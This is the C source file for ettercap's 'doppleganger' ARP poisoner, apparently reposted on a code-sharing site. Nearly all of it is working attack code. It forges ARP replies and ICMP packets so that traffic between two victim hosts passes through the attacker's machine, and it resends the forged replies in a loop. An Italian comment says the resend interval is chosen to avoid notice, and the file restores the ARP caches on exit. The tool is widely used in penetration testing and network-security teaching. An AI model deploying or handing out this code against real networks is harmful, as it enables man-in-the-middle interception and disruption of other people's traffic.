ec_doppleganger.c
上传用户:nilegod
上传日期:2007-01-08
资源大小:220k
文件大小:5k
源码类别:

网络截获/分析

开发平台:

C/C++

  1. /*
  2.     ettercap -- doppleganger -- the ARP poisoner
  3.     Copyright (C) 2001  ALoR <alor@users.sourceforge.net>, NaGA <crwm@freemail.it>
  4.     This program is free software; you can redistribute it and/or modify
  5.     it under the terms of the GNU General Public License as published by
  6.     the Free Software Foundation; either version 2 of the License, or
  7.     (at your option) any later version.
  8.     This program is distributed in the hope that it will be useful,
  9.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  10.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  11.     GNU General Public License for more details.
  12.     You should have received a copy of the GNU General Public License
  13.     along with this program; if not, write to the Free Software
  14.     Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
  15. */
  16. #include <stdio.h>
  17. #include <sys/time.h>
  18. #include <signal.h>
  19. #include <sys/ioctl.h>
  20. #include <string.h>
  21. #include <unistd.h>
  22. #include <stdlib.h>
  23. #include <errno.h>
  24. #include "include/ec_main.h"
  25. #include "include/ec_inet.h"
  26. #include "include/ec_inet_forge.h"
  27. #include "include/ec_inet_structures.h"
  28. #ifdef DEBUG
  29.    #include "include/ec_debug.h"
  30. #endif
  31. // global data
  32. u_char *buf1=NULL, *buf2=NULL;
  33. char PoorMAC1[6];
  34. char PoorMAC2[6];
  35. char PoorIP1[17];
  36. char PoorIP2[17];
  37. int sock;
  38. char MyMAC[6];       // my MAC address
  39. // protos...
  40. void Doppleganger_reARP(int dummy);
  41. int Doppleganger_Run(char *iface, char *IP1, char *IP2, char *MAC1, char *MAC2);
  42. int Doppleganger_Main(char *iface, char *IP1, char *IP2, char *MAC1, char *MAC2);
  43. // ----------------------------
  44. void Doppleganger_reARP(int dummy)        // turns back the ARP cache...
  45. {
  46.    int i;
  47. #ifdef DEBUG
  48.    Debug_msg("Doppleganger_reARP");
  49. #endif
  50.    if (buf1) Inet_Forge_ethernet( buf1, MyMAC, PoorMAC2, ETH_P_ARP );
  51.    if (buf2) Inet_Forge_ethernet( buf2, MyMAC, PoorMAC1, ETH_P_ARP );
  52.    // legal ARP reply :)
  53.    if (buf1)
  54.        Inet_Forge_arp( buf1+ETH_HEADER, ARPOP_REPLY,
  55.                     PoorMAC1, inet_addr(PoorIP1),
  56.                        PoorMAC2, inet_addr(PoorIP2) );
  57.    if (buf2)
  58.        Inet_Forge_arp( buf2+ETH_HEADER, ARPOP_REPLY,
  59.                        PoorMAC2, inet_addr(PoorIP2),
  60.                        PoorMAC1, inet_addr(PoorIP1) );
  61.    for(i=0; i<5; i++)
  62.    {
  63.       if (buf1) Inet_SendRawPacket(sock, buf1, ETH_HEADER + ARP_HEADER);
  64.       if (buf2) Inet_SendRawPacket(sock, buf2, ETH_HEADER + ARP_HEADER);
  65.       usleep(2000);
  66.    }
  67.    exit(0);
  68. }
  69. int Doppleganger_Main(char *iface, char *IP1, char *IP2, char *MAC1, char *MAC2)
  70. {
  71.    int MTU;
  72.    u_char BroadMAC[6]={0xff,0xff,0xff,0xff,0xff,0xff};
  73. #ifdef DEBUG
  74.        Debug_msg("Doppleganger_Run -- [%s] [%s] [%s] [%s]", IP1, IP2, MAC1, MAC2);
  75. #endif
  76.    strcpy(program_argv0, "dopplega");
  77.    Inet_DisableForwarding();
  78.    if (strcmp(MAC1,"")) buf1 = Inet_Forge_packet( ETH_HEADER + IP_HEADER + ICMP_HEADER );
  79.    if (strcmp(MAC2,"")) buf2 = Inet_Forge_packet( ETH_HEADER + IP_HEADER + ICMP_HEADER );
  80.    if (buf1) Inet_GetMACfromString(MAC1, PoorMAC1);
  81.    else memcpy(PoorMAC1, BroadMAC, 6);
  82.    if (buf2) Inet_GetMACfromString(MAC2, PoorMAC2);
  83.    else memcpy(PoorMAC2, BroadMAC, 6);
  84.    if (buf1) strncpy(PoorIP1,IP1, 17);
  85.    else strncpy(PoorIP1,"69.69.69.69", 11);
  86.    if (buf2) strncpy(PoorIP2,IP2, 17);
  87.    else strncpy(PoorIP2,"69.69.69.69", 11);
  88.    sock = Inet_OpenRawSock(iface);
  89.    Inet_GetIfaceInfo(iface, &MTU, MyMAC, NULL, NULL);
  90.    if (buf1 && buf2)
  91.    {
  92.        // Force IP in ARP cache
  93.        Inet_Forge_ethernet( buf1, MyMAC, PoorMAC2, ETH_P_IP );
  94.        Inet_Forge_ethernet( buf2, MyMAC, PoorMAC1, ETH_P_IP );
  95.        Inet_Forge_ip( buf1 + ETH_HEADER, inet_addr(PoorIP1), inet_addr(PoorIP2),
  96.               ICMP_HEADER, 0xe77e, 0, IPPROTO_ICMP );
  97.        Inet_Forge_ip( buf2 + ETH_HEADER, inet_addr(PoorIP2), inet_addr(PoorIP1),
  98.               ICMP_HEADER, 0xe77e, 0, IPPROTO_ICMP );
  99.        Inet_Forge_icmp( buf1 + ETH_HEADER + IP_HEADER, ICMP_ECHO, 0, NULL, 0 );
  100.        Inet_Forge_icmp( buf2 + ETH_HEADER + IP_HEADER, ICMP_ECHO, 0, NULL, 0 );
  101.        Inet_SendRawPacket(sock, buf1, ETH_HEADER + IP_HEADER + ICMP_HEADER);
  102.        Inet_SendRawPacket(sock, buf2, ETH_HEADER + IP_HEADER + ICMP_HEADER);
  103.    }
  104.    // fake arp replies
  105.    if (buf1)
  106.    {
  107.        Inet_Forge_ethernet( buf1, MyMAC, PoorMAC2, ETH_P_ARP );
  108.        Inet_Forge_arp( buf1+ETH_HEADER, ARPOP_REPLY,
  109.                       MyMAC, inet_addr(PoorIP1),
  110.                        PoorMAC2, inet_addr(PoorIP2) );
  111.    }
  112.    if (buf2)
  113.    {
  114.        Inet_Forge_ethernet( buf2, MyMAC, PoorMAC1, ETH_P_ARP );
  115.        Inet_Forge_arp( buf2+ETH_HEADER, ARPOP_REPLY,
  116.                        MyMAC, inet_addr(PoorIP2),
  117.                        PoorMAC1, inet_addr(PoorIP1) );
  118.    }
  119.    signal(SIGINT, Doppleganger_reARP);
  120.    signal(SIGTERM, Doppleganger_reARP);
  121.    signal(SIGSEGV, Doppleganger_reARP);
  122.    // sends the fake replies
  123.    loop
  124.    {
  125.       if (getppid() == 1) Doppleganger_reARP(SIGTERM);
  126.       if (buf1) Inet_SendRawPacket(sock, buf1, ETH_HEADER + ARP_HEADER);
  127.       if (buf2) Inet_SendRawPacket(sock, buf2, ETH_HEADER + ARP_HEADER);
  128.       sleep(3);   // Evitiamo di dare nell'occhio trasformando l'hub in un albero di Natale ;)
  129.    }
  130.    return(0);
  131. }
  132. int Doppleganger_Run(char *iface, char *IP1, char *IP2, char *MAC1, char *MAC2)
  133. {
  134.    int Dopple_pid;
  135.    if (!(Dopple_pid = fork()))
  136.       Doppleganger_Main(iface, IP1, IP2, MAC1, MAC2);
  137.    else
  138.       return Dopple_pid;
  139.    return 0;
  140. }
  141. /* EOF */